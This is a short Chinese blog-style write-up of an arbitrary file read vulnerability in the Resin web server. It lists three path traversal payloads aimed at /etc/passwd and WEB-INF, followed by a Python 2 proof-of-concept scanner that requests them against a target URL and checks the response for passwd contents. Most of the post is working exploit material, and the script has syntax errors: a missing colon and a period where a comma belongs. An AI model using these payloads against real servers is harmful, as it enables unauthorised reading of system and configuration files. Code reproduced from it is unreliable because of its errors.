Resin任意文件读取漏洞

Resin是什么

---

虽然看不上但是还是原因下百度百科：

Resin是CAUCHO公司的产品，是一个非常流行的支持servlets和jsp的引擎，速度非常快。Resin本身包含了一个支持HTTP/1.1的WEB服务器。它不仅可以显示动态内容，而且它显示静态内容的能力也非常强，速度直逼APACHESERVER。许多站点都是使用该WEB服务器构建的。

可以认为是一个WEB服务器

Resin存在任意文件读取漏洞

---

   """
   payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
   payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"
   payload3 = "/ ..\\\\web-inf"
   """

Resin任意文件读取POC

#  -*- coding:utf-8 -*-

"""
    Resin远程任意文件读取漏洞
"""

#引入依赖库、包文件
import os
import sys
import urllib
import logging
import requests

#设置全局配置
reload(sys)
sys.setdefaultencoding('utf-8')
logging.basicConfig(format="%(message)s",level=logging.INFO)

#定义全局变量和全局函数
payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"
payload3 = "/ ..\\\\web-inf"
payloadList = [payload1,payload2,payload3]

def getUrl(url):
    urList = []
    if url != None and isinstance(url,str):
        if url.find(":") >= 3
            protocol = url.split(":")[0]+"://"
            hostname = url.split(":")[1].split("/")[2]
            for payload in payloadList:
                tUrl = protocol + hostname + payload
                urList.append(tUrl)
                enUrl = urllib.quote(tUrl)
                urList.append(enUrl)
    else:
        pass
    return urList

class ResinScan:
    def __init__(self,url):
        self.tUrList = getUrl(url)
        self.flag = ["root:x:0:0:root:/root"."<h1>Directory of"]
    def scan(self):
        for url in self.tUrList:
            try:
                response = requests.get(url,timeout=3,verify=False)
                for string in self.flag:
                    if response.content.find(string) >= 0:
                        return True
            except Exception,reason:
                logging.info("[-] 扫描错误--错误原因：%s"%str(reason))
        return False

if __name__ == "__main__":
    try:
        url = sys.argv[1]
    except Exception,reason:
        logging.info("[-] 没有找到目标站点")
        exit(0)
    scan = ResinScan(url)
    if scan.scan():
        logging.info("[+] 发现漏洞!")